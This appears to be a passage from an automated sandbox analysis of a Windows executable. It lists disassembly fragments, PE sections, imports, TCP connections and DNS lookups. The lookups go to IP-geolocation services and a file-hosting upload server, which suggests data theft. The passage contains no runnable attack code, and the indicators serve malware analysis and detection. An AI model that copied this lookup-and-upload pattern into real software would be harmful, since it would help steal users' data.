cmp byte ptr [0003412Ch], 00000000h
mov ebx, ecx
jne 00007F0AB5446BF9h
cmp ecx, 01h
jnbe 00007F0AB5446BFCh
call 00007F0AB54472DAh
test eax, eax
je 00007F0AB5446BBAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3cee4	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x46000	0xf41c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x42000	0x22c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x56000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a420	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3a2e0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x420	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29d90	0x29e00	15c814a42215e290d8bab54e3db4f28e	False	0.5531133395522388	data	6.488360740396217	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12d0c	0x12e00	377d3e0f7c95bb22c4f7a316a5b04f1b	False	0.5158319536423841	data	5.820062241150467	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x3348	0xe00	e1f21cabb4e5e084c6e11e610d715023	False	0.13253348214285715	Matlab v4 mat-file (little endian) f\324\377\3772\242\337-\231+, text, rows 4294967295, columns 0	1.8227234993173287	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x42000	0x22c8	0x2400	b142de92a6283807ff34839c180f053c	False	0.4743923611111111	data	5.326103127679494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x45000	0x15c	0x200	ee29821d11e5dd21c3e807a502fa5813	False	0.38671875	data	2.83326547900447	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x46000	0xf41c	0xf600	c654ab5a3bc06ebf8c554f36c31153c0	False	0.8030837144308943	data	7.554967714213712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x56000	0x758	0x800	7813f7270f60606010808eaa88aee14b	False	0.5439453125	data	5.24418466384704	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x46208	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.585820895522388
RT_ICON	0x470b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.7360108303249098
RT_ICON	0x47958	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.755057803468208
RT_ICON	0x47ec0	0x952c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9975384937676757
RT_ICON	0x513ec	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.3887966804979253
RT_ICON	0x53994	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.49530956848030017
RT_ICON	0x54a3c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.7207446808510638
RT_GROUP_ICON	0x54ea4	0x68	data	0.7019230769230769
RT_MANIFEST	0x54f0c	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	IsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, CreateSymbolicLinkW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetCPInfo, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 09:09:16.196223974 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.196258068 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.196363926 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.197474957 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.197484970 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.667808056 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.668560028 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.668577909 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.669979095 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.670047045 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.671869040 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.671938896 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.671988964 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.671996117 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.713635921 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.813072920 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.813131094 CET	443	49763	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:16.813190937 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.813823938 CET	49763	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:16.822525978 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:16.822546959 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:16.822607994 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:16.823143959 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:16.823152065 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.451456070 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.452142000 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:17.452148914 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.453164101 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.453224897 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:17.454515934 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:17.454579115 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.454823971 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:17.454828978 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.494899988 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:17.702621937 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.702687025 CET	443	49769	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:17.703053951 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:17.707473040 CET	49769	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:17.736752987 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:17.736865044 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:17.736967087 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:17.744019985 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:17.744070053 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.562903881 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.574830055 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:18.574909925 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.575876951 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.575958014 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:18.577927113 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:18.578006029 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.578037024 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:18.619333029 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.619887114 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:18.619910002 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.666752100 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:18.768322945 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.768404007 CET	443	49775	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:18.768516064 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:18.768892050 CET	49775	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:19.400418043 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:19.400460005 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:19.400686026 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:19.416650057 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:19.416663885 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.078603029 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.078852892 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.081737995 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.081743956 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.081969023 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.085289955 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.085721970 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.085736990 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.670835018 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.670914888 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.670952082 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.693011045 CET	49788	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.693030119 CET	443	49788	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.931714058 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.931744099 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:20.931802034 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.940783978 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:20.940794945 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:21.573592901 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:21.573668957 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:21.575495005 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:21.575510025 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:21.575754881 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:21.578738928 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:21.579097033 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:21.579111099 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:21.900036097 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:21.900099993 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:21.900227070 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:21.909840107 CET	49801	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:21.909851074 CET	443	49801	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:22.152545929 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:22.152569056 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:22.153104067 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:22.167608976 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:22.167622089 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:22.812155008 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:22.812227011 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:22.813858032 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:22.813880920 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:22.814121962 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:22.816636086 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:22.816726923 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:22.816749096 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:23.417947054 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:23.418010950 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:23.418251991 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:23.426465988 CET	49813	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:23.426472902 CET	443	49813	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:34.154514074 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.154580116 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.154666901 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.155741930 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.155769110 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.639352083 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.640125036 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.640189886 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.643965006 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.644045115 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.646075964 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.646334887 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.646361113 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.691346884 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.692069054 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.692095995 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.738936901 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.935204983 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.935400963 CET	443	49883	104.26.13.205	192.168.2.9
Jan 16, 2025 09:09:34.935853004 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.936039925 CET	49883	443	192.168.2.9	104.26.13.205
Jan 16, 2025 09:09:34.937314034 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:34.937340021 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:34.937493086 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:34.937911034 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:34.937923908 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.569020033 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.569500923 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:35.569518089 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.571129084 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.571185112 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:35.572510958 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:35.572603941 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.572792053 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:35.572798014 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.613935947 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:35.820374012 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.820549965 CET	443	49889	45.112.123.126	192.168.2.9
Jan 16, 2025 09:09:35.820638895 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:35.826900005 CET	49889	443	192.168.2.9	45.112.123.126
Jan 16, 2025 09:09:35.827884912 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:35.827924013 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:35.828660965 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:35.828977108 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:35.828991890 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.658536911 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.658982038 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:36.658993959 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.659920931 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.659976959 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:36.661403894 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:36.661468029 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.661621094 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:36.661629915 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.707799911 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:36.851468086 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.851650000 CET	443	49895	159.89.102.253	192.168.2.9
Jan 16, 2025 09:09:36.851833105 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:36.858282089 CET	49895	443	192.168.2.9	159.89.102.253
Jan 16, 2025 09:09:37.497226000 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:37.497272015 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:37.497327089 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:37.513622999 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:37.513643980 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:38.139780045 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:38.139961958 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:38.141330957 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:38.141360044 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:38.141576052 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:38.143964052 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:38.143995047 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:38.144042969 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:38.739506006 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:38.739602089 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:38.739664078 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:38.750478983 CET	49911	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:38.750504971 CET	443	49911	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:39.026777029 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:39.026823044 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:39.027209997 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:39.042964935 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:39.042979956 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:39.697187901 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:39.697282076 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:39.698843956 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:39.698858976 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:39.699188948 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:39.702038050 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:39.702320099 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:39.702330112 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:40.296029091 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:40.296195984 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:40.296417952 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:40.333288908 CET	49921	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:40.333304882 CET	443	49921	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:40.759536982 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:40.759591103 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:40.759665012 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:40.771699905 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:40.771739006 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:42.264317036 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:42.264406919 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:42.266211033 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:42.266235113 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:42.267079115 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:42.269721985 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:42.269800901 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:42.269851923 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:43.061209917 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:43.061392069 CET	443	49934	31.14.70.245	192.168.2.9
Jan 16, 2025 09:09:43.061450005 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:43.076380014 CET	49934	443	192.168.2.9	31.14.70.245
Jan 16, 2025 09:09:43.076407909 CET	443	49934	31.14.70.245	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 09:09:16.186455011 CET	59480	53	192.168.2.9	1.1.1.1
Jan 16, 2025 09:09:16.193253040 CET	53	59480	1.1.1.1	192.168.2.9
Jan 16, 2025 09:09:16.814632893 CET	58850	53	192.168.2.9	1.1.1.1
Jan 16, 2025 09:09:16.821820021 CET	53	58850	1.1.1.1	192.168.2.9
Jan 16, 2025 09:09:17.721865892 CET	65229	53	192.168.2.9	1.1.1.1
Jan 16, 2025 09:09:17.730237961 CET	53	65229	1.1.1.1	192.168.2.9
Jan 16, 2025 09:09:19.389302969 CET	51672	53	192.168.2.9	1.1.1.1
Jan 16, 2025 09:09:19.397696972 CET	53	51672	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 16, 2025 09:09:16.186455011 CET	192.168.2.9	1.1.1.1	0x95c8	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:16.814632893 CET	192.168.2.9	1.1.1.1	0x1555	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:17.721865892 CET	192.168.2.9	1.1.1.1	0x55ac	Standard query (0)	geolocation-db.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:19.389302969 CET	192.168.2.9	1.1.1.1	0x859a	Standard query (0)	store4.gofile.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2025 09:09:06.202106953 CET	1.1.1.1	192.168.2.9	0x978a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 09:09:06.202106953 CET	1.1.1.1	192.168.2.9	0x978a	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 09:09:06.202106953 CET	1.1.1.1	192.168.2.9	0x978a	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 09:09:06.202106953 CET	1.1.1.1	192.168.2.9	0x978a	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:16.193253040 CET	1.1.1.1	192.168.2.9	0x95c8	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:16.193253040 CET	1.1.1.1	192.168.2.9	0x95c8	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:09:16.193253040 CET	1.1.1.1	192.168.2.9	0x95c8	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
